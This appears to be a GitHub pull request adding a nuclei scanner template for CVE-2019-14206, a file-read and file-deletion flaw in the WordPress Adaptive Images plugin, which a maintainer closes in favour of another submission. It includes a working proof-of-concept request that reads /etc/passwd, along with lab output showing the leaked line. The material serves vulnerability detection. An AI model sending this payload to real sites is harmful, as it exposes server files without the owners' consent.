add template: CVE-2019-14206 WordPress Adaptive Images

[guilhermemour2018-art]

Summary

Adds a template for CVE-2019-14206 in the Adaptive Images plugin (<0.6.67). The adaptive-images-script.php input is unsanitized, allowing arbitrary file read (LFI) and arbitrary file deletion via the cache path.

/claim #14693

POC

GET /wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=/etc/passwd

Validation

• Environment: Docker lab (WordPress 6.5, PHP 8.1, Adaptive Images 0.6.65) in labs/wp-adaptive-filedeletion
• Command: nuclei -t bounties/CVE-2019-14206.yaml -u http://127.0.0.1:8080 -debug
• Output (excerpt):
  • HTTP/1.1 200 OK
  • Content-Type: image/jpeg
  • root:x:0:0:root:/root:/bin/bash
  • 3 matches found.

References

• https://markgruffer.github.io/2019/07/19/adaptive-images-for-wordpress-0-6-66-lfi-rce-file-deletion.html
• https://github.com/markgruffer/markgruffer.github.io/blob/master/_posts/2019-07-19-adaptive-images-for-wordpress-0-6-66-lfi-rce-file-deletion.markdown
• https://nvd.nist.gov/vuln/detail/CVE-2019-14206
• https://wpscan.com/vulnerability/7beaa002-880e-4f94-9f6d-61a8497b9019

[DhiyaneshGeek]

Hi @guilhermemour2018-art

Thanks for participating in the Bounty Claim Program

we are moving forward with this PR #14694 which met all the requirements

Due to the following reason we are closing this PR